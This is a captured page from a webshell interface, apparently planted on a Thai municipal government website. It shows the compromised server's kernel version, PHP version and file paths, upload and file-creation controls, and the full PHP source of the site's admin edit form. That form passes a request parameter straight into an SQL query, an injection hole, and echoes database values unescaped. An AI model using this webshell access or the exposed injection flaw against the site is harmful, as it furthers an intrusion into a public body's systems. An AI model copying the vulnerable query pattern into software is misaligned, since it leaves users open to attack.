Cylul007 Webshell
Uname
:
Linux ns7.thaihispeed.com 3.10.0-693.11.1.el7.x86_64 #1 SMP Mon Dec 4 23:52:40 UTC 2017 x86_64
PHP
:
5.3.29
on
apache2handler
Time
:
24 Nov 2024 20:48:43
Path :
/
home
/
tassabanlo
/
domains
/
lomsak.go.th
/
public_html
/
File Upload :
New File
New Folder
Current File : /home/tassabanlo/domains/lomsak.go.th/public_html/information7_formedit.php
Download
HOME
<?php require_once('Connections/Myconnection.php'); ?> <?php if (!function_exists("GetSQLValueString")) { function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = "") { if (PHP_VERSION < 6) { $theValue = get_magic_quotes_gpc() ? stripslashes($theValue) : $theValue; } $theValue = function_exists("mysql_real_escape_string") ? mysql_real_escape_string($theValue) : mysql_escape_string($theValue); switch ($theType) { case "text": $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL"; break; case "long": case "int": $theValue = ($theValue != "") ? intval($theValue) : "NULL"; break; case "double": $theValue = ($theValue != "") ? doubleval($theValue) : "NULL"; break; case "date": $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL"; break; case "defined": $theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue; break; } return $theValue; } } $colname_editin7 = "-1"; if (isset($_GET['num_in7'])) { $colname_editin7 = $_GET['num_in7']; } mysql_select_db($database_Myconnection, $Myconnection); mysql_query("SET NAMES UTF8"); $query_editin7 = sprintf("SELECT * FROM information7 WHERE num_in7 = %s", GetSQLValueString($colname_editin7, "int")); $editin7 = mysql_query($query_editin7, $Myconnection) or die(mysql_error()); $row_editin7 = mysql_fetch_assoc($editin7); $totalRows_editin7 = mysql_num_rows($editin7); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut icon" type="image/x-icon" href="images/favicon.ico" /> <title>สำนักงานเทศบาลเมืองหล่มสัก</title> </head> <? include "checklogin.php"; include "connect.php"; include "dropdown menuadmin.php"; $num_in7 = $_GET['num_in7']; $sql="SELECT * FROM information7 WHERE num_in7 = '$num_in7'"; $result = mysql_query($sql,$conn) or die("3. ไม่สามารถประมวลผลคำสั่งได้") .mysql_error(); $rs=mysql_fetch_array($result); ?> <style> * { box-sizing: border-box; } input[type=text], select, textarea { width: 100%; padding: 12px; border: 1px solid #ccc; border-radius: 4px; resize: vertical; } label { padding: 12px 12px 12px 0; display: inline-block; } input[type=submit] { background-color: #4CAF50; color: white; padding: 12px 20px; border: none; border-radius: 4px; cursor: pointer; } input[type=submit]:hover { background-color: #45a049; } .container { border-radius: 5px; background-color: #f2f2f2; padding: 20px; } .col-25 { float: left; width: 25%; margin-top: 6px; } .col-75 { float: left; width: 75%; margin-top: 6px; } .row:after { content: ""; display: table; clear: both; } .col-25, .col-75, input[type=submit] { width: 1024; margin-top: 0; } </style> </head> <body> <div class="container" align="center" > <p>แก้ไข้</p> <form action="informaition7_edit.php"method="post" enctype="multipart/form-data" name="form7" id="form7"> <input name="num_in7" type="hidden" id="num_in7" value="<?php echo $row_editin7['num_in7']; ?>" /> <div class="row"> <div class="col-25"> <label for="fname">หัวเรื่อง</label> </div> <div class="col-75"> <input name="name_in7" type="text" id="name_in7" value="<?php echo $row_editin7['name_in7']; ?>"> </div> </div> <div class="row"> <div class="col-75"></div> </div> <div class="row"> <input type="file" name="pdf" id="pdf"><br> <div class="col-75"></div> <div class="row"> <p> <input type="submit" value="Submit"> </p> </div> </form> </body> </html>
Copyright © 2018 - Powered By CytoXploit